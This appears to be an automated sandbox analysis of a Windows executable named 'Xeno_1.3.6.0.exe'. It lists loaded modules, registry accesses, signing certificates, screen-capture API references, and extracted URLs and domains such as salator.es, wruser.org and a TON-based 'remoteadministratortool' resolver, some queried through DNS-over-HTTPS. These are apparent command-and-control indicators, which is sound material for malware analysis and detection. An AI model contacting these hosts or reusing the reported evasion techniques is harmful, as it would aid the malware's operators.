loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 72570000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 724b0000 "Xeno_1.3.6.0.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 76310000 "Xeno_1.3.6.0.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 76310000 "Xeno_1.3.6.0.exe" loaded module "CRYPT32.DLL" at base 77040000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 726c0000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 747c000036:T563,"Xeno_1.3.6.0.exe" touched "WBEM Scripting Locator" (Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}") "Xeno_1.3.6.0.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "Xeno_1.3.6.0.exe" touched "PSDispatch" (Path: "HKCU\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\TREATAS") "Xeno_1.3.6.0.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "Xeno_1.3.6.0.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "Xeno_1.3.6.0.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "Xeno_1.3.6.0.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "Xeno_1.3.6.0.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "Xeno_1.3.6.0.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "Xeno_1.3.6.0.exe" touched "PSEnumVariant" (Path: "HKCU\WOW6432NODE\CLSID\{00020421-0000-0000-C000-000000000046}\TREATAS")37:T93f,The input sample is signed with a certificate issued by "CN=SSL.com SSL Intermediate CA ECC R2, O=SSL Corp, L=Houston, ST=Texas, C=US" (SHA1: F8:86:35:01:72:60:D4:0B:9E:B4:17:BE:E7:37:37:91:1B:63:0E:59; see report for more information) The input sample is signed with a certificate issued by "CN=SSL.com Root Certification Authority ECC, O=SSL Corporation, L=Houston, ST=Texas, C=US" (SHA1: 92:19:61:2E:90:1C:49:04:F9:83:5E:E8:C2:AD:D5:4F:F0:B7:97:FD; see report for more information) The input sample is signed with a certificate issued by "CN=YE1, O=Let's Encrypt, C=US" (SHA1: AB:25:EB:6F:79:0C:98:69:DF:E7:06:17:12:53:55:51:63:BA:20:D7; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: D0:93:70:A9:86:49:82:A5:04:7D:A4:63:73:54:02:56:D0:8A:3C:81; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Atlas R3 DV TLS CA 2026 Q2, O=GlobalSign nv-sa, C=BE" (SHA1: 43:73:33:AB:BC:05:B7:FC:F3:56:7F:D7:00:31:93:88:47:3D:DE:5B; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3" (SHA1: 37:08:77:93:79:80:7F:7C:FD:3C:9C:5E:62:83:55:15:F3:CC:62:0C; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: DD:F1:7F:7F:7F:4B:23:84:79:68:8B:E8:E9:F2:1F:C1:30:9B:C3:37; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)38:T83d,"Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "")39:Tca8,"Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}"; Key: "SEARCHLIST"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPRACOEXISTENCEENABLED"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPV6DOMAIN"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "")3a:T467,"Xeno_1.3.6.0.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\FLTLIB.DLL" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\MSVCP140.DLL" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\MSVCP140.dll" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\BCRYPT.DLL" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\bcrypt.dll" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\rpcss.dll" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\Windows\SysWOW64\wbem\WBEMCOMN.DLL" "Xeno_1.3.6.0.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\wbem\wbemcomn.dll"3b:T1b23,Heuristic match: "*big.int" Heuristic match: "**big.int" Heuristic match: "*abi.name" Heuristic match: "sa1atik.cn" Heuristic match: "tonapi.io" Pattern match: "remoteadministratortool.ton/resolve" Heuristic match: "cloudflare-dns.com" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "github.com/stackexchange/wmi" Pattern match: "github.com/andygrunwald/vdf" Pattern match: "github.com/buger/jsonparser" Pattern match: "github.com/capnspacehook/taskmaster" Pattern match: "github.com/go-ole/go-ole" Pattern match: "github.com/gorilla/websocket" Pattern match: "github.com/lxn/win" Pattern match: "github.com/ncruces/go-sqlite3" Pattern match: "github.com/ncruces/julianday" Pattern match: "github.com/nfnt/resize" Pattern match: "github.com/quic-go/qpack" Pattern match: "github.com/quic-go/quic-go" Pattern match: "github.com/rickb777/date" Pattern match: "github.com/rickb777/plural" Pattern match: "github.com/rodolfoag/gow32" Pattern match: "github.com/tetratelabs/wazero" Pattern match: "github.com/xssnick/tonutils-go" Pattern match: "github.com/yusufpapurcu/wmi" Pattern match: "golang.org/x/crypto" Pattern match: "golang.org/x/exp" Pattern match: "golang.org/x/net" Pattern match: "golang.org/x/sys" Pattern match: "golang.org/x/text" Heuristic match: "websalat.top" Pattern match: "http://x2.c.lencr.org/" Heuristic match: "ma.aw" Pattern match: "http://i.pki.goog/r1.crt0+" Pattern match: "http://c.pki.goog/r/r1.crl0" Pattern match: "http://ocsp" Pattern match: "http://i.pki.goog/wr2.crt0" Heuristic match: "dns.google.com" Heuristic match: "*.dns.google.com" Pattern match: "http://c.pki.goog/wr2/gsyt1n4pbrg.crl0" Heuristic match: "wruser.org" Pattern match: "http://i.pki.goog/r4.crt0+" Pattern match: "http://c.pki.goog/r/r4.crl0" Pattern match: "http://i.pki.goog/gsr1.crt0-" Pattern match: "http://c.pki.goog/r/gsr1.crl0" Pattern match: "http://ocsp.pki.goog/gsr10" Pattern match: "http://pki.goog/gsr1/gsr1.crt02" Pattern match: "http://crl.pki.goog/gsr1/gsr1.crl0" Pattern match: "i.goog/r/gsr1.crl0" Pattern match: "cert.ssl.com/sslcom-subca-ssl-ecc-384-r2.cer0" Pattern match: "http://ocsps.ssl.com0" Heuristic match: "*.cloudflare-dns.com" Pattern match: "crls.ssl.com/sslcom-subca-ssl-ecc-384-r2.crl0" Heuristic match: "ntrust.net" Heuristic match: "loudflare-dns.com" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "www.digicert.com1" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://www.microsoft.com0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.microsoft.com/pki/crl/prod" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: "sh.com" Pattern match: "krowten.sbro.ssecca.not//:sptth" Pattern match: "https://salator.es/sa1at/" Pattern match: "https://wruser.org/sa1at/" Pattern match: "https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethodhttps://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethod" Pattern match: "https://cloudflare-dns.com/dns-query?name=salator.es&type=a" Pattern match: "https://cloudflare-dns.com/dns-query?name=wruser.org&type=a" Pattern match: "https://dns.google/resolve?name=wruser.org&type=a^"3c:T134d,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003500.00000000.164415.00810000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003500.00000001.166333.00810000.00000004.mdmp") Found URL "http://x2.c.lencr.org/tls13" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://i.pki.goog/r1.crt0+$0" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://c.pki.goog/r/r1.crl0h3/o" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://ocsp" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://ocspgoogle" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://i.pki.goog/wr2.crt0dns.googledns.google.com*.dns.google.com8888.googledns64.dns.googleh" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://c.pki.goog/wr2/gsyt1n4pbrg.crl0t!!>" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://c.pki.goog/r/r1.crl0h3/ogoogle" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://c.pki.goog/r/r1.crl0h3/o[a]:djhj;c" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://i.pki.goog/r4.crt0+$0" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&globalsign" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://i.pki.goog/gsr1.crt0-&0$0" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0nl" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://c.pki.goog/r/r1.crl0h3/oi4td@k0fqll>>us1" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://ocsp.pki.goog/gsr10)http://pki.goog/gsr1/gsr1.crt02+0)0'!http://crl.pki.goog/gsr1/gsr1.crl0;40207okzgm=" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://c.pki.goog/r/r1.crl0s" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://cert.ssl.com/sslcom-subca-ssl-ecc-384-r2.cer0" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://ocsps.ssl.com0cloudflare-dns.com*.cloudflare-dns.comone.one.one.one0" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://crls.ssl.com/sslcom-subca-ssl-ecc-384-r2.crl01" - Source: "00000000-00003500.00000001.166333.06180000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003500.00000002.168253.00810000.00000004.mdmp") Found URL "https://salator.es/sa1at/" - Source: "00000000-00003500.00000002.168253.06158000.00000004.mdmp") Found URL "https://wruser.org/sa1at/" - Source: "00000000-00003500.00000002.168253.06158000.00000004.mdmp") Found URL "https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethodhttps://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethod105311596331855300602201538317979276640056460191511695660591596829410056223515105311596331855300602201538317979276640056460191511695660591596829410056223515tls13" - Source: "00000000-00003500.00000002.168253.06158000.00000004.mdmp") Found URL "https://cloudflare-dns.com/dns-query?name=salator.es&type=atls13" - Source: "00000000-00003500.00000002.168253.06158000.00000004.mdmp") Found URL "https://cloudflare-dns.com/dns-query?name=wruser.org&type=atls13" - Source: "00000000-00003500.00000002.168253.06158000.00000004.mdmp") Found URL "http://i.pki.goog/r1.crt0+$0" - Source: "00000000-00003500.00000002.168253.06190000.00000004.mdmp") Found URL "http://c.pki.goog/r/r1.crl0h3/o" - Source: "00000000-00003500.00000002.168253.06190000.00000004.mdmp") Found URL "http://ocsp" - Source: "00000000-00003500.00000002.168253.06190000.00000004.mdmp") Found URL "http://ocspgoogle" - Source: "00000000-00003500.00000002.168253.06190000.00000004.mdmp") Found URL "http://i.pki.goog/wr2.crt0dns.googledns.google.com*.dns.google.com8888.googledns64.dns.googleh" - Source: "00000000-00003500.00000002.168253.06190000.00000004.mdmp") Found URL "http://c.pki.goog/wr2/gsyt1n4pbrg.crl0t!!>" - Source: "00000000-00003500.00000002.168253.06190000.00000004.mdmp") Found URL "http://c.pki.goog/r/r1.crl0h3/ogoogle" - Source: "00000000-00003500.00000002.168253.06190000.00000004.mdmp") Found URL "http://c.pki.goog/r/r1.crl0h3/ob7iuwrf5l=fz;aapao.q" - Source: "00000000-00003500.00000002.168253.06190000.00000004.mdmp") Found URL "http://c.pki.goog/r/r1.crl0s" - Source: "00000000-00003500.00000002.168253.061E6000.00000004.mdmp") Found URL "https://dns.google/resolve?name=wruser.org&type=a^tls13" - Source: "00000000-00003500.00000002.168253.061E6000.00000004.mdmp")3d:Tac3,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp")3e:Tca8,"Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}"; Key: "SEARCHLIST"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPRACOEXISTENCEENABLED"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") 